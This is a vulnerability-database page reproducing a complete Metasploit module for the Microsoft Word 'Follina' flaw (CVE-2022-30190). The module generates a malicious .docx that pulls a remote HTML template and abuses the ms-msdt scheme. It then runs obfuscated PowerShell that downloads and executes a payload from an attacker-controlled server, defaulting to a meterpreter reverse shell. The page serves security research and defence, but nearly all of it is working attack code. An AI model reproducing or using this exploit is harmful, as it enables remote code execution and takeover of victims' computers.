Lucene search
K

Microsoft Office Word MSDTJS Code Execution Exploit

🗓️ 07 Jun 2022 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 891 Views

Microsoft Office Word MSDTJS Code Execution Exploi

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2022-30190
31 May 202210:47
githubexploit
GithubExploit
Exploit for CVE-2022-30190
2 Jun 202212:33
githubexploit
GithubExploit
Exploit for CVE-2022-30190
18 Oct 202511:43
githubexploit
GithubExploit
Exploit for CVE-2022-30190
31 May 202214:10
githubexploit
GithubExploit
Exploit for CVE-2022-30190
31 May 202206:45
githubexploit
GithubExploit
Exploit for Improper Input Validation in Microsoft
25 Jan 202616:34
githubexploit
GithubExploit
Exploit for CVE-2022-30190
3 Jun 202200:25
githubexploit
GithubExploit
Exploit for CVE-2022-30190
28 Nov 202303:47
githubexploit
GithubExploit
Exploit for Path Traversal in Microsoft
15 Sep 202122:34
githubexploit
GithubExploit
Exploit for CVE-2022-30190
19 Nov 202218:09
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Office Word MSDTJS',
        'Description' => %q{
          This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template
          feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code.
        },
        'References' => [
          ['CVE', '2022-30190'],
          ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'],
          ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'],
          ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'],
          ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'],
          ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'],
          ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190']
        ],
        'Author' => [
          'nao sec', # Original disclosure.
          'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity
        ],
        'DisclosureDate' => '2022-05-29',
        'License' => MSF_LICENSE,
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Payload' => {
          'DisableNops' => true
        },
        'DefaultOptions' => {
          'DisablePayloadHandler' => false,
          'FILENAME' => 'msf.docx',
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'SRVHOST' => Rex::Socket.source_address('1.2.3.4')
        },
        'Targets' => [
          [ 'Microsoft Office Word', {} ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Follina'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [UNRELIABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']),
      OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])
    ])
  end

  def get_file_in_docx(fname)
    i = @docx.find_index { |item| item[:fname] == fname }

    unless i
      fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
    end

    @docx.fetch(i)[:data]
  end

  def get_template_path
    datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx')
  end

  def generate_html
    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1"

    dummy = ''
    (1..random_int(61, 100)).each do |_n|
      dummy += '//' + rand_text_alpha(100) + "\n"
    end

    cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')")

    js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";"
    if datastore['OBFUSCATE']
      print_status('Obfuscate JavaScript content')

      js_content = Rex::Exploitation::JSObfu.new js_content
      js_content = js_content.obfuscate(memory_sensitive: false)
    end

    html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>'
    html += "\n#{dummy}\n#{js_content}\n"
    html += '</script></body></html>'

    html
  end

  def inject_docx
    document_xml = get_file_in_docx('word/document.xml')
    unless document_xml
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')
    end

    document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')
    unless document_xml_rels
      fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')
    end

    uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html"
    @docx.each do |entry|
      case entry[:fname]
      when 'word/_rels/document.xml.rels'
        entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;")
      end
    end
  end

  def normalize_uri(*strs)
    new_str = strs * '/'

    new_str = new_str.gsub!('//', '/') while new_str.index('//')

    # makes sure there's a starting slash
    unless new_str.start_with?('/')
      new_str = '/' + new_str
    end

    new_str
  end

  def on_request_uri(cli, request)
    header_html = {
      'Access-Control-Allow-Origin' => '*',
      'Access-Control-Allow-Methods' => 'GET, POST',
      'Cache-Control' => 'no-store, no-cache, must-revalidate',
      'Content-Type' => 'text/html; charset=UTF-8'
    }

    if request.method.eql? 'HEAD'
      send_response(cli, '', header_html)
    elsif request.method.eql? 'OPTIONS'
      response = create_response(501, 'Unsupported Method')
      response['Content-Type'] = 'text/html'
      response.body = ''

      cli.send_response(response)
    elsif request.raw_uri.to_s.end_with? '.html'
      print_status('Sending HTML Payload')

      send_response_html(cli, generate_html, header_html)
    elsif request.raw_uri.to_s.end_with? '.ps1'
      print_status('Sending PowerShell Payload')

      send_response(cli, @payload_data, header_html)
    end
  end

  def pack_docx
    @docx.each do |entry|
      if entry[:data].is_a?(Nokogiri::XML::Document)
        entry[:data] = entry[:data].to_s
      end
    end

    Msf::Util::EXE.to_zip(@docx)
  end

  def primer
    print_status('Generating a malicious docx file')

    @proto = (datastore['SSL'] ? 'https' : 'http')

    template_path = get_template_path
    unless File.extname(template_path).downcase.end_with?('.docx')
      fail_with(Failure::BadConfig, 'Template is not a docx file!')
    end

    print_status("Using template '#{template_path}'")
    @docx = unpack_docx(template_path)

    print_status('Injecting payload in docx document')
    inject_docx

    print_status("Finalizing docx '#{datastore['FILENAME']}'")
    file_create(pack_docx)

    @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true)

    super
  end

  def random_int(min, max)
    rand(max - min) + min
  end

  def unpack_docx(template_path)
    document = []

    Zip::File.open(template_path) do |entries|
      entries.each do |entry|
        if entry.name.downcase.end_with?('.xml', '.rels')
          content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?
        elsif entry.file?
          content = entry.get_input_stream.read
        end

        vprint_status("Parsing item from template: #{entry.name}")

        document << { fname: entry.name, data: content }
      end
    end

    document
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jun 2022 00:00Current
8.1High risk
Vulners AI Score8.1
CVSS 3.17.8
CVSS 29.3
EPSS0.93596
891